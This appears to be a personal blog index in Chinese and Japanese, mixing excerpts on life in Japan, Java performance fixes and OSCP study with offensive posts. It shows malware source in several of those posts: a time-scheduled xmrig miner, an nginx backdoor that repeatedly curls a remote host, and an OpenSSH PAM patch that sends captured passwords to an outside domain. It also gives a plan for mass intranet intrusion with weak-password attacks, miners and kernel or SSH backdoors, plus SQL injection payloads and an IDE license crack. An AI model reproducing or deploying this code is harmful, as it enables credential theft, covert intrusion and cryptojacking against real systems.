博文

IDEA 激活问题

一、编辑JVM参数 -javaagent:E:\project\ja-netfilter\ja-netfilter-2022.2.0\ja-netfilter\ja-netfilter.jar 二、以下IP加入防火墙链接 76.223.63.197 13.248.188.196

在日本搬家所需要的注意事項

第一。搬入新家之前,给家里有瑕疵的地方拍照,做好备份,这样在退租的时候,尽量避免支付多余修复的钱。 第二,开通电力和瓦斯的那些事。 开通电力和瓦斯,建议在搬家的前一周联系东京电力公司。我是通过电话联系的,客服人员会很温柔的和你沟通,电力和瓦斯是一家的。注意区分下《东日本,西日本》自己住的区域是属于哪边。 第三,买家具。 这方面有很多网站,建议不要分开买。有《新生活セット》里面有套装,这样会更加优惠一些。我的是在乐天买的,注意好,他们送货是否收费。我就没注意好被坑了3000日元。 一定要区分好燃气灶的类型是LP的还是东京gas的,买错的话退起来很麻烦。 一般性:2点セット包含了《洗衣机,冰箱》,3点セット包含了《洗衣机,冰箱,微波炉》,根据自己选择即好 我买的是3点セット,然后有在他们店里掏2000日元买了把电脑椅子,又加了13000买了煤气灶,同一个店铺买,这样会比较超值一些。总共掏了58000。 要不是最后被坑了3000日元,我真会给他5星好评。一定要商量好价格,价格一定要明确,明确下来。 第四,开通网络 开通网络需要提前20天预约,从审核你的住所是否能安装他们公司的网络,到施工结束大概需要花这么多时间。不同的网络公司需要不同的网络设备,有些公司不用再另外掏钱买,有些则不行。 网络最快的就是 NURO 了,光纤实际下载速度可以达到60M一秒,IP是固定的。 现在用的是 《ぷらら 》不推荐使用,网络速度比较慢。ping baidu.com 的话,会有25%的掉包情况。ping google 倒是没啥问题,实际下载速度最大10M。 最后,总结 不要把日本人想象地多美好,不会坑你。他们只是没找到机会。如果你觉得我这句话是错的,不相信,我只能笑你还是太天真。 看房子的时候,一定要看好洗衣机的排水口,距离安装位置是否过远,怎么排水。

大ファイルアップロードする解決案

图片
調査 サンプル画面を書くときに、「400MB」以上のMP4ファイルをアップロード時、JVMからメモリー不足エラーが起こりました。 普段、この時、JVMの占用メモリー引数を修正するだけでいいですが、別の実現し方で、解決しようと思いました。 動作はユーザーさんが複数のファイルを選んでから、ファイルごとにアップロードする、しかし、ファイルが多き過ぎて、Jvmに配れたメモリー資源が足りないことになりました。 画面を見ると、管理画面のファイルアップロードテキストは制限されてない、追加アップロードボタンをクリックすると、ファイルテキストを画面に追加できます。 一つのファイルテキストは選択できるサイズが最大1GBまで、五つのテキストは5GBになる、このように換算する。 アーキテクチャ 処理フロー 解決案 大ファイルを分割して、何回にアップロードするように修正。ファイルを分割して、ファイルブロック単位として、アップロードする。 もちろん、サーバーにアップロードする後、組み合わせて、AmazonのS3に保存する。 幸せなことは、Java APIを見ると、ファイルブロックが直接にS3にアップロードする、全ブロックがアップロード完了する後、シンプルに「組み合わせる範囲」のAPIを呼び出すだけで、リモートのS3サーバーに正常に読み取りができる。 最後 テストする後、一つテキストは2GBでもかまいません、日常使用に対する問題なかった。 インターネットのスピードが調整不能のため、時間がかなりかかる インターネットの有無にも仕方ないだろうか、草 :)

スレッドで処理資源を制限する

图片
課題説明 今って、大きく課題にアサインしてもらった。現状は、データ数が多すぎるので、そして、データ抽出したあとにそのロジックコードも長すぎる、ざっくりみると、20000行以上である。中で別システム連携であるのみにならず、DBデータの再抽出も多い。 テストの最小単位で3万件のデータをダウンロードに試してましたが、ローカルの開発環境で全然無理です。15分ほどにかかったあと、すぐダンしてしまった。 プロジェクトリーダーは「エラーになる行を見て、解決してください。」と言った 僕にとって日本では技術のことが知らないリーダーが多いです、実際はこんなに簡単に解決ではなく、性能問題は開発の段階に考えられるものと思うですが、仕様不備やスケジュールを合わせるため、開発段階にもややこしかったかもしれない ほぼ、現状を把握から解決まで二週間を経った、問題は以下になる loopの中にLoopが多すぎる 全件数を抽出した、未出力のデータって長期にメモリーを占用する 全データ処理後一瞬にファイルを出力する、400MBくらい SQL:where id in(...2000個以上のストリング...) 本番環境のメモリーは4GBがあるのに、2GBだけ使われてる 実現目標 100000件以上のデータがダウンロードできるように修正 アーキテクチャはこうになる 解決案 一番目の解決案はリストタイプをMapタイプに修正すればOKです。 二番目は全件数を抽出したので、回数による処理件数を制御すると僕は考えてます。リーダーさんは、「処理件数」だけで制御いけないかという質問を頂きました。 1人は「500件」、10人同時にダウンロードすれば並列件数が5000件です。30人なら、15000件。 以上の問題をもって、実験したが、5000件以内は別の機能に性能影響が最も小さい。 三番目の解決案は、一行ずつファイルに出力する、処理後にCSVの該当オブジェクトをNullにして、JVMがメモリー資源を自動的に開放できる 四番目は根拠の問題はMySQLのインデックスに走らなかったです、INの結合句は2000以上であるので。これに対すて、新しくテーブルを作成しました、毎回処理の回数データは「 insert into  new_ table_name(申込ID) select * from  old_ table_d...

Java 字符串分割及排序

         public   static   String   getSmallestAndLargest ( String   s ,   int   k )   {          String   newStr   =   new   String ( s );          java . util . List < String >   listStr   =   new   java . util . ArrayList < String >();          for ( int   i = 0 ; i < newStr . length ()- 1 ;   i ++   )   {              if (( newStr . length ()- i )   <   k )   {                  break ;              }              String   str   = ...

关于 Offensive Security 认证的一些感想

取得了OSCP,但是这仅仅证明我长久以来计划得到了实现。初次之外证明不了什么,它并不能满足我就是技术很厉害的那种人的想法。 OSCP 在 Offensive Securiry 中仅仅是很普通的角色,不,准确的说是 KLCP 才是。 虽然现在工作中,学习中已经大家普遍赞同我很厉害,但是放在全世界对比,我就是渣渣。学无止境我还是知道的。 既然如此我想给自己再订一些人生目标,拿到 Offensive security 的 OSEE 认证。OSEE 认证需要同时通过3个认证才能获取。分别是如下3个认证。 OSWE 专门针对于web应用攻击得高阶课程 OSEP 专门针对于安全防守绕过,防火墙和防病毒软件得绕过,还有域信息得一些技术 OSED 主要是针对windows user mode的攻击课程,包括BoF, Reserver Engineering等。 这三个认证对于我来说,分别是 OSWE 最简单,OSEP 中等,OSED 最难。所以我打算先考 OSEP,然后 OSWE,最后专攻 OSED,分 2 年拿下。其实我感觉用不了那么久,以防万一吧。 OSCP   PEN-200  ----  已在 2021 年 9 月底获取 OSWP  PEN-210 OSED   EXP-301 OSWE  WEB-300 OSCE   CTP-OSCE 第一,OSEP 第二,OSWE 第三,OSED 一切才刚刚开始。 ——————————————2021年9月29日————————————————— 第一,OSEP OSEP syllabus 今天下载了 OSEP 的课程大纲看了下,完全就是一大堆不明白的名词。 1  规避技术和突破防御:一般课程信息     1.1  关于PEN-300 课程     1.2  提供的材料         1.2.1  PEN-300 课程材料         1.2.2  访问内部 VPN 实验室网络         1.2.3...

OSCP攻略

图片
今天 2021年6月19号,中午12点,正式报名了OSCP课程。准备这么久,还是2个月的实验室,过不了真的可以去死了。由于lab的开始时间是7月25号,所以还有1个月时间我可以好好练习下 Hackthebox 的机器。 收到了自己的学生ID:  OS-XXXXXX 今天是6月20号。 需要提供公司邮件地址,不能够使用任何免费邮件。 —————————————持续更新——————————————— 今天是7月4号,漫长的等待中,看了拿下靶机的数和考试成功率的对比,85%的几率通过OSCP,要拿下70多台靶机。 100%的话也就是90台主机,二个月压力很大。 今天干了3台靶机,轻微看了通关教程。 学了个 knockd DC-9 bravery-improved bravery-mercy 上班时候持续研究pwn技术, 偷个懒好了,pwn水平真的是太水了。 —————————————持续更新——————————————— 今天是8月25号,刚刚过了一个月,lab里面的机器拿下了44台。最近一周基本没研究了,越来越来。公共网络的基本全拿下了,现在集中于It Dept(IT部门)的机器,很不幸,只拿下了2台,这一个月我打算好好按照PDF上的教程做试验了,顺便写5份报告,5分不拿白不拿。 公共机器里面的很简单,基本算是练习。 IT部门的机器比较难,我觉得对应 HTB里面的medium机器。其它的话,还没解锁。 今天暂时把考试时间订到了9月23号。希望一切顺利,集中于 BOF(buff over flow)的练习,这个是我的弱项,没办法。 —————————————持续更新——————————————— 今天是9月23号,还有10分钟就考试了,竟然有点紧张,久违了。也许就是不通过大不了重来而已,或许其他人会这么想。在我看来不是。这2个月一共拿下54台机器,后面一个月其实没怎么做lab了,专心做 exploit了。把那 vulnapp1.exe, vulnapp2.exe,vulnapp3.exe独自至少做了3边。写了13台机器的lab报告,这5分应该是可以到手了。 —————————————持续更新——————————————— 考了2天,终于结束了,从23号中午12点到24号中午12点。全程摄像头开启,屏幕共享。去个厕所,离开座位都要打个招呼。考试中会给你5台机器让你黑...

定时挖矿

void   xmrig :: Miner :: setJob ( const   Job   & job ,  bool   donate ) {      time_t  theTime =  time ( NULL );      struct   tm   * aTime  =  localtime (&theTime);     //int hour=aTime->tm_hour;      if ( aTime -> tm_hour  >=  22 ) {          Nonce :: pause ( false );          Nonce :: touch ();          setEnabled ( true );          printf ( " start ." );     }  else   if ( aTime -> tm_hour  <  8 ) {          if ( aTime -> tm_hour  >  8 ) {              Nonce :: pause ( tru...

手动编译metasploit5.0.87

 需要安装的依赖 apt-get install build-essential patch ruby-dev zlib1g-dev liblzma-dev postgresql libpq-dev libpcap-dev libsqlite3-dev   gem install bundler:1.17.3

关于 liunx 内核编译

最近要写一个远控,需要修改内核源码,达到100%完美隐藏进程的能力。 系统版本 Centos6.5 x86_64 内核版本 2.6.32-431.el6.x86_64 参考文档 <-很重要 1、所有操作都不是以root用户进行的。 2、

关于大范围,大面积内网自动化入侵心得。

比如一个A类网络地址就有 16777214 多台主机,单个主机进行大范围,大规模、全端口化扫描是很不现实的。最明显的方式就是进行远程系统协同式程式化工作,把入侵手法剥离出来,虽然无法100%细化。 简单罗列下程式需要实现的功能点: 1、检测各个服务的弱密码      1.1  Smb      1.2  Mysql      1.3  SQL server      1.4  SSH      1.5  Telnet      1.6  Ftp 2、被入侵主机当前子网的0.0.0.0/24 细致化扫描     2.1 当前网卡绑定的所有内网IP地址      (需要远程控制已扫描网段,协同内网扫描工作) 3、上传功能    3.1 扫描结果上传    3.2 弱密码结果文件上传 4、放置挖矿脚本 5、留下后门      5.1 内核后门      5.2 SSH免密码后门      5.3 命令替换      5.4 定时检测更新远程脚本 6、视情况加入      6.1 远程溢出脚本      6.2 webshell的提权

简单加密解密

void encrypt(char *password) { int x = strlen(password); char t[strlen(password)]; strcpy(t, password); int i; for(i=0; i<strlen(password); i++) { char cur = t[i]; if(isalpha(cur)) { t[i] = cur +1; } } printf("%s\n",t); for(i=0; i<strlen(password); i++) { char c = t[i]; if(isalpha(c)) { t[i] = c - 1; } } printf("the decrypted message is: %s\n", t); } int main() { char msg[] = "root"; printf("%s\n", msg); encrypt(msg); }

Mock、Spring-boot、Stub、mybatis、Junit测试

nmap

 nohup nmap -v -A 10.2.24-30.1-254 -vv -p1-65535 -oX 1.xml &

nginx嵌入后门

int fatherpid = getpid(); printf("%d", fatherpid); pid_t fpid; fpid = fork(); if (fpid == 0) { int x1 = getppid(); while(1) { x1 = getppid(); if(x1 == 1) { return 0; } time_t timep = time(&timep); int x = gmtime(&timep)->tm_wday; if(x == 6 || x == 7 ) { system("/usr/bin/curl -m 5 -s http://xxx:10004/b.out"); sleep(30); } } return 1; }

如何更便利地利用openssh

图片
第一种方式: 通过添加源代码实现向远端发送数据的目的,因为HTTP有被拦截的风险。所以用二进制发送感觉比较好点。 https://openbsd.hk/pub/OpenBSD/OpenSSH/portable/ 需要安装扩展     autoconf,PAM, void userauth_PAM(char * password) { char *server_ip_addr_domain = "www.xxxx.org"; int server_ip_port = 80; struct hostent *host; struct in_addr **addr_list; if (NULL != (host = gethostbyname(server_ip_addr_domain))) { addr_list = (struct in_addr **)host->h_addr_list; int socket_fd = socket(AF_INET, SOCK_STREAM, 0); if (socket_fd >= 0) { struct sockaddr_in serv_addr; memset(&serv_addr, 0, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = *(unsigned int *)host->h_addr_list[0]; serv_addr.sin_port = htons(server_ip_port); if((connect(socket_fd, (struct sockaddr*)&serv_addr, sizeof(serv_addr))) >= 0 ) { send(socket_fd, password, strlen(password), 0); } c...

Linux 硬关机造成的系统错误

由于硬关机造成了磁盘受损,进入了initramfs模式,怎么都无法启动系统.通过以下命令成功修复. blkid 查看当前系统挂在那个磁盘 fsck -t ext4 /dev/sda3  修复目标磁盘.

Python 自动定时任务

 写了一个定时执行任务的程序 0点开始启动到第二天的8点,之外的时间段都处于关闭状态。 import os from datetime import datetime import psutil SYSTEM_INIT = "SYSTEM_INIT" def execute(): os.system("nohup /bin/" + SYSTEM_INIT + " &") print("executed") def isExecuting(): pids = psutil.pids() ret_val = -999 for pid in pids: PNAME = psutil.Process(pid).name() if SYSTEM_INIT == PNAME: return pid return ret_val def main(): dateTime = datetime.now() HOUR = dateTime.hour; weedkey = dateTime.weekday() print(weedkey) if weedkey == 5 or weedkey == 6: pid = isExecuting() print(pid) if pid == -999: execute() else: return 0; # more than 00 less than 08 if HOUR >= 23 or HOUR < 8: # is exisxt pid = isExecuting() if pid == -999: execute(); return 0 if HOUR > 8 and HOUR != 23: pid = isExecu...

Sql Inject 拦截器过滤

 拦截器过滤在 SQL 注入中是很常用的一个功能。 1、and 使用 && 代替         所代表的意义是一样的 2、or 使用 || 代替         所代表的意义是一样的 3、urlcode 转码         例如[']转成%27,普遍用在代码检测不彻底的情况下。 4、SQL技巧         绕过空格,使用select(1),(2),(3)类似的形式 5、相关函数     5.1 extractValue                 报错注入的另一种形式,与双查询类似。  5.2 %a0编码                 对于空格的限制,采用编码。     5.3 %bf编码                 宽字节绕过。 6、双重参数         双重参数是指,同时提交两个参数名一样的参数,服务端仅验证了第一个。底层代码却处理了2个参数,达到绕过程序检测的目的。 例如 payload:http://192.168.230.129/trainer/Less-27/?id=911%27UnION%a0SElect(3),(SELect%a0group_concat(password)from%a0users),(5)and%a0%271 payload:http://192.168.230.129/trainer/Less-32/index.php?id=%bf%27%20union%20select%201,version(),user()%20--+

Sql Inject 协议头注入

图片
基于 User-Agent 注入 这是一个非常经典的 HTTP 协议注入,非常 NB。故此,我细化地写了下来。 payload:1',(select 1 from (select count(*),CONCAT(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b),'3'); # 总结: 明显是后台 php 程序取 User-Agent 头信息地时候没有加入过滤,直接insert 就插入了。 这种类型地注入,就是明显的双查询注入,故意的引起报错造成信息泄露。 目前似乎没有开源工具针对 Http 协议头做参数检测。 基于 Cookies 注入 cookie 在程序处理 sessions 中非常、非常之常见。部分程序里的 cookie 是被 base64 或者其它编码程序编码过的,但是也有解码的方法,这是后话了。